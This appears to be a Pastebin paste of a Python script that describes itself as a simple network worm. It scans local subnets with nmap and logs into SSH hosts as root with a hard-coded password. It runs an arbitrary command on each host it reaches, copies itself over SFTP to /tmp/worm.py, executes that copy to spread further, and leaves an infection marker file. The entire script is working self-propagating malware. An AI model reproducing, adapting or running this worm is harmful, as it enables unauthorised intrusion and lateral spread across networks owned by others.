Advertisement
Guest User

Untitled

a guest
Feb 28th, 2020
268
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.66 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. # -----------------------------------------------------------------
  3. # Name:         worm
  4. # Purpose:      Simple network worm for command stdout fetch
  5. #
  6. # Author:       Alexey Belov
  7. #
  8. # Created:      27/02/2020
  9. # License:      GPL
  10. # -----------------------------------------------------------------
  11.  
  12. import os
  13. import re
  14. import sys
  15. import time
  16. import pathlib
  17. import subprocess
  18.  
  19. import nmap
  20. import netifaces
  21. import paramiko
  22.  
  23.  
  24. INFECTION_MARKER = "/tmp/WormInfectionMarker.txt"
  25.  
  26.  
  27.  
  28. class Worm(object):
  29.     """
  30.    Worm runs commands on remote hosts via ssh
  31.    """
  32.     def __init__(self):
  33.         data = []
  34.         command = sys.argv[1]
  35.         current_hosts = self.get_hosts_interfaces()
  36.         current_path = pathlib.Path(__file__).absolute()
  37.  
  38.         try:
  39.             parent = sys.argv[3]
  40.         except IndexError:
  41.             parent = None
  42.  
  43.         host_list = sys.argv[2].split(',')
  44.         target_hosts = set(host_list.copy())
  45.         neighboring_hosts = self.scan_ssh_hosts(current_hosts) - current_hosts
  46.  
  47.         host_matches = target_hosts.intersection(current_hosts)
  48.         if host_matches and not parent:
  49.             p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  50.             stdout, stderr = p.communicate()
  51.             result = stdout.decode('utf-8').replace('\n', '')
  52.  
  53.             for host in host_matches:
  54.                 data.append((host, result))
  55.                
  56.             if host_matches == target_hosts:
  57.                 self.show_output(data, host_list)
  58.                 sys.exit(0)
  59.  
  60.             target_hosts -= current_hosts
  61.            
  62.         self.username = 'root'
  63.         self.password = 'password'
  64.         self.current_path = current_path
  65.         self.current_hosts = current_hosts
  66.         self.parent = parent
  67.         self.data = data
  68.        
  69.         self.mark_infected()
  70.         self._fetch_outputs(command, neighboring_hosts, target_hosts)
  71.         if not parent:
  72.             self.show_output(self.data, host_list)
  73.  
  74.     def _fetch_outputs(self, command, neighboring_hosts, target_hosts):
  75.         """
  76.        Runs commands using SSH on hosts available on the network
  77.        """
  78.         not_infected = []
  79.  
  80.         for host in neighboring_hosts:
  81.             client = self.connect_to_ssh(host)
  82.             if not client:
  83.                 continue
  84.  
  85.             result = self.run_command(client, command)
  86.             if self.parent:
  87.                 d = f'¦¦{host}Ĩ{result}¦¦'
  88.                 print(d)
  89.             else:
  90.                 self.data.append((host, result))
  91.                 d = f'¦¦{host}Ĩ{result}¦¦'
  92.            
  93.             if host in target_hosts:
  94.                 target_hosts.remove(host)
  95.            
  96.             infected = self.is_infected(client)
  97.             if not infected:
  98.                 not_infected.append(host)
  99.            
  100.             client.close()
  101.  
  102.         neighboring_hosts.update(self.current_hosts)
  103.         if not target_hosts or target_hosts.issubset(neighboring_hosts):
  104.             return None
  105.  
  106.         target_hosts_str = ','.join(target_hosts)
  107.         for host in not_infected:
  108.             client = self.connect_to_ssh(host)
  109.             self._propagate(client, command, target_hosts_str)
  110.             client.close()
  111.  
  112.     def connect_to_ssh(self, host):
  113.         """
  114.        Tries to connect to a SSH server
  115.        Returns:
  116.            Client - Connection successful
  117.            None - Something went wrong
  118.        Args:
  119.            host - Target machine's IP
  120.        """
  121.         client = paramiko.SSHClient()
  122.         client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  123.         try:
  124.             client.connect(host, 22, self.username, self.password, timeout=7)
  125.             return client
  126.  
  127.         except:
  128.             return None
  129.  
  130.     def scan_ssh_hosts(self, interfaces):
  131.         """
  132.        Scans all machines on the same network that
  133.        have SSH (port 22) enabled
  134.        Returns:
  135.            IP addresses of hosts
  136.        """
  137.        
  138.         hosts = set()
  139.         nm = nmap.PortScanner()
  140.         for g in interfaces:
  141.             nm.scan(f'{g}/24', arguments='-sP --open')
  142.             res = nm.all_hosts()
  143.             if res:
  144.                 hosts.update(res)
  145.  
  146.         return hosts
  147.  
  148.     def get_hosts_interfaces(self):
  149.         """
  150.        Scans interfaces
  151.        """
  152.         interfaces = netifaces.interfaces()
  153.         interfaces.remove('lo')
  154.  
  155.         out = set()
  156.         for interface in interfaces:
  157.             addrs = netifaces.ifaddresses(interface)
  158.             if netifaces.AF_INET in addrs.keys():
  159.                 out.add(addrs[netifaces.AF_INET][0]['addr'])
  160.  
  161.         return out
  162.            
  163.     def run_command(self, client, command):
  164.         """
  165.        Runs command on a remote host via ssh
  166.        """
  167.         stdin, stdout, stderr = client.exec_command(command)
  168.         result = stdout.read().decode('utf-8').replace('\n', '')
  169.    
  170.         return result
  171.  
  172.     def _propagate(self, client, command, target_hosts_str):
  173.         """
  174.        Copies the worm to various locations using sftp
  175.        """
  176.         with client.open_sftp() as sftp:
  177.             sftp.put(self.current_path, '/tmp/worm.py')
  178.  
  179.         client.exec_command('chmod a+x /tmp/worm.py')
  180.         child_command = f'python -u /tmp/worm.py {command} {target_hosts_str} {self.current_hosts}'
  181.         result = self.run_command(client, child_command)
  182.  
  183.         if self.parent:
  184.             print(result)
  185.         else:
  186.             raw_data = re.findall('¦.*?¦', result)
  187.             for x in raw_data:
  188.                 x = tuple(x.replace('¦¦', '').split('Ĩ'))
  189.                 self.data.append(x)
  190.  
  191.     def is_infected(self, client):
  192.         """
  193.        Checks if the host is infected by a worm
  194.        """
  195.         infected = False
  196.         try:
  197.             with client.open_sftp() as sftp:
  198.                 sftp.stat(INFECTION_MARKER)
  199.  
  200.             infected = True
  201.         except:
  202.             pass
  203.            
  204.         return infected
  205.  
  206.     def mark_infected(self):
  207.         """
  208.        Infects a host using a marker
  209.        """
  210.         with open(INFECTION_MARKER, 'w') as marker:
  211.             marker.write('System infected')
  212.  
  213.     def show_output(self, data, host_list):
  214.         """
  215.        Returns fancy output to user
  216.        """
  217.         outputs = set(data)
  218.         for x in host_list:
  219.             item = [i for i in outputs if i[0] == x]
  220.             if item:
  221.                 print(f'{x} returned:')
  222.                 print(item[0][1])
  223.             else:
  224.                 print(f'{x} - host unreachable')
  225.  
  226.  
  227. if __name__ == '__main__':
  228.     # Sleep for ssh server
  229.     time.sleep(5)
  230.     Worm()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement